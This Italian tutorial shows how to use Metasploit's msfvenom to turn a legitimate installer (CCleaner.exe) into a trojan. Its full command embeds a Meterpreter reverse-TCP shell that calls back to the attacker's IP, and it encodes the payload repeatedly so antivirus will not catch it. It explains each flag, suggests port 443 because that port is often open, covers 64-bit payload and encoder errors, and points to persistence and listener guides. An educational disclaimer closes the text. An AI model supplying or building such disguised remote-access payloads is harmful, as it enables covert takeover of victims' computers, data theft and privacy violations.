Metasploit: Come creare un Trojan Horse

Abbiamo già visto come creare un “virus” con Metasploit. Abbiamo però generato un file .exe generico, che in uno scenario reale, la vittima non cliccherà mai, oltre al fatto che, ciò che abbiamo creato, è altamente rilevabile da un antivirus. Vedremo adesso come generare un Trojan Horse in modo da illudere la vittima che sia un ordinario file di windows, ed evitare di essere beccati dall’antivirus.

Procuriamoci un eseguibile che la vittima potrebbe cliccare senza farsi dubbi, in questo caso utilizzerò CCleaner.exe.

Avviamo il nostro terminale e dirigiamoci nella directory in cui risiede il file da utilizzare (da adesso lo chiameremo template).

Nel mio caso in Scrivania.

Digitiamo ora:

msfvenom -p windows/meterpreter/reverse_tcp lport=[porta desiderata] lhost=[il vostro ip] -e x86/shikata_ga_nai -i 5 -b '\x00' -x [template.exe] -k -f exe -o [nomefile].exe

Rispetto alla scorsa volta abbiamo inserito qualcosina in più:

  • -e (l’encoder da utilizzare per poter codificare il nostro payload, eviterà che gli antivirus rilevino la minaccia)
  • -i (l’iterazione ovvero quante volte il processo di codifica deve ripetersi)
  • -b ‘\x00’ (evitiamo che durante la codifica si generino nullbyte ossia caratteri nulli che potrebbero generare errori durante l’esecuzione)
  • -x (per indicare quale file utilizzare come template)
  • -k (keep, serve a mantenere la funzione del template e avviare il nostro payload in un nuovo thread)
  • Ho utilizzato la porta 443, iniziamo a fare le cose per bene, è una delle porte spesso aperte.

A questo punto dobbiamo solo metterci in ascolto da msfconsole. Se non sai come fare leggi questo

E renderlo persistente: Leggi qui

NOTA: Se si utilizza un template a 64 bit potresti incappare un un errore simile:

  • Se si tenta di impostare l’architettura -a x64 con un payload per 32 bit (x86)
Error: The selected arch is incompatible with the payload

La soluzione è passare ad un payload a 64 bit, ad esempio per un tcp inverso:

-p windows/x64/meterpreter/reverse_tcp
  • Un’altro errore viene prodotto dall’utilizzo di un encoder a 32bit per un template a 64bit:
Error: immediate overflow ... ... ... "\"unk\"" line 4

La soluzione è cambiare l’encoder in uno a 64bit, per esempio:

x64/xor

Leggi anche come difenderti da minacce come queste QUI

 

ATTENZIONE: QUESTA GUIDA È STATA SCRITTA SOLO A SCOPO DIDATTICO NON MI ASSUMO NESSUNA RESPONSABILITÀ DELLE VOSTRE AZIONI ILLEGALI O DANNI CAUSATI. RICORDO CHE LA VIOLAZIONE DELLA PRIVACY E DANNI CAUSATI TRAMITE MEZZI INFORMATICI, SONO PUNITI PENALMENTE!